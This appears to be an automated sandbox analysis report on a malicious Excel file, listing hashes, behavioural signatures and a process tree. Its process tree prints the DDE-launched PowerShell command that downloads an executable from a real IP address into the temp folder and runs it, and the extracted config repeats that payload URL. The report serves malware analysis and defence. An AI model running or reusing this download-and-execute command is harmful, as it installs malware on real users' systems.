Analysis
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max time kernel
26s -
max time network
28s -
platform
windows7_x64 -
resource
win7-20240708-en -
resource tags
arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system -
submitted
07/11/2024, 21:30
Behavioral task
behavioral1
Sample
1e5263b61db34399fd621201a9e3b0bc5e79f193911765414020ebc003813a66.xls
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
1e5263b61db34399fd621201a9e3b0bc5e79f193911765414020ebc003813a66.xls
Resource
win10v2004-20241007-en
General
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Target
1e5263b61db34399fd621201a9e3b0bc5e79f193911765414020ebc003813a66.xls
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Size
23KB
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MD5
62b9fa7851ba3147b20ceae3f8b61029
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SHA1
4ad45f6d537615bcc07bbc51940b83b3b4842d52
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SHA256
1e5263b61db34399fd621201a9e3b0bc5e79f193911765414020ebc003813a66
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SHA512
f2744b66ef8bfad21ca12a73a66847b4f17910ba9f2f1b83969b4f7100a7b14f21bdacf6021b83b565e9564a62ebf393b74dc8d483410c15a29d1a687540f044
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SSDEEP
192:JHa439gyLPUV+/T/D/GX2H5kUyabvHV6jaFEqYGfIoBkJZWMVnTag:c+Lb6AgabP8jaFzYGfIA
Malware Config
Extracted
http://92.63.88.104/fdhtepopdhd/sfbwurwfl/wyxbdf.exe
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process 2780 1892 cmd.exe 29 -
Blocklisted process makes network request 1 IoCs
flow pid Process 4 2992 powershell.exe -
pid Process 2992 powershell.exe 2992 powershell.exe -
System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language EXCEL.EXE Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe -
Office loads VBA resources, possible macro or embedded object present
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Enumerates system info in registry 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 1892 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2992 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2992 powershell.exe -
Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 1892 EXCEL.EXE 1892 EXCEL.EXE 1892 EXCEL.EXE -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 1892 wrote to memory of 2780 1892 EXCEL.EXE 30 PID 1892 wrote to memory of 2780 1892 EXCEL.EXE 30 PID 1892 wrote to memory of 2780 1892 EXCEL.EXE 30 PID 1892 wrote to memory of 2780 1892 EXCEL.EXE 30 PID 2780 wrote to memory of 2992 2780 cmd.exe 32 PID 2780 wrote to memory of 2992 2780 cmd.exe 32 PID 2780 wrote to memory of 2992 2780 cmd.exe 32 PID 2780 wrote to memory of 2992 2780 cmd.exe 32
Processes
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C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\1e5263b61db34399fd621201a9e3b0bc5e79f193911765414020ebc003813a66.xls1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1892 -
C:\Windows\SysWOW64\cmd.execmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://92.63.88.104/fdhtepopdhd/sfbwurwfl/wyxbdf.exe','%TEMP%\JIOiodfhioIH.exe');Start-Process '%TEMP%\JIOiodfhioIH.exe';2⤵
- Process spawned unexpected child process
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2780 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exePowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://92.63.88.104/fdhtepopdhd/sfbwurwfl/wyxbdf.exe','C:\Users\Admin\AppData\Local\Temp\JIOiodfhioIH.exe');Start-Process 'C:\Users\Admin\AppData\Local\Temp\JIOiodfhioIH.exe';3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2992
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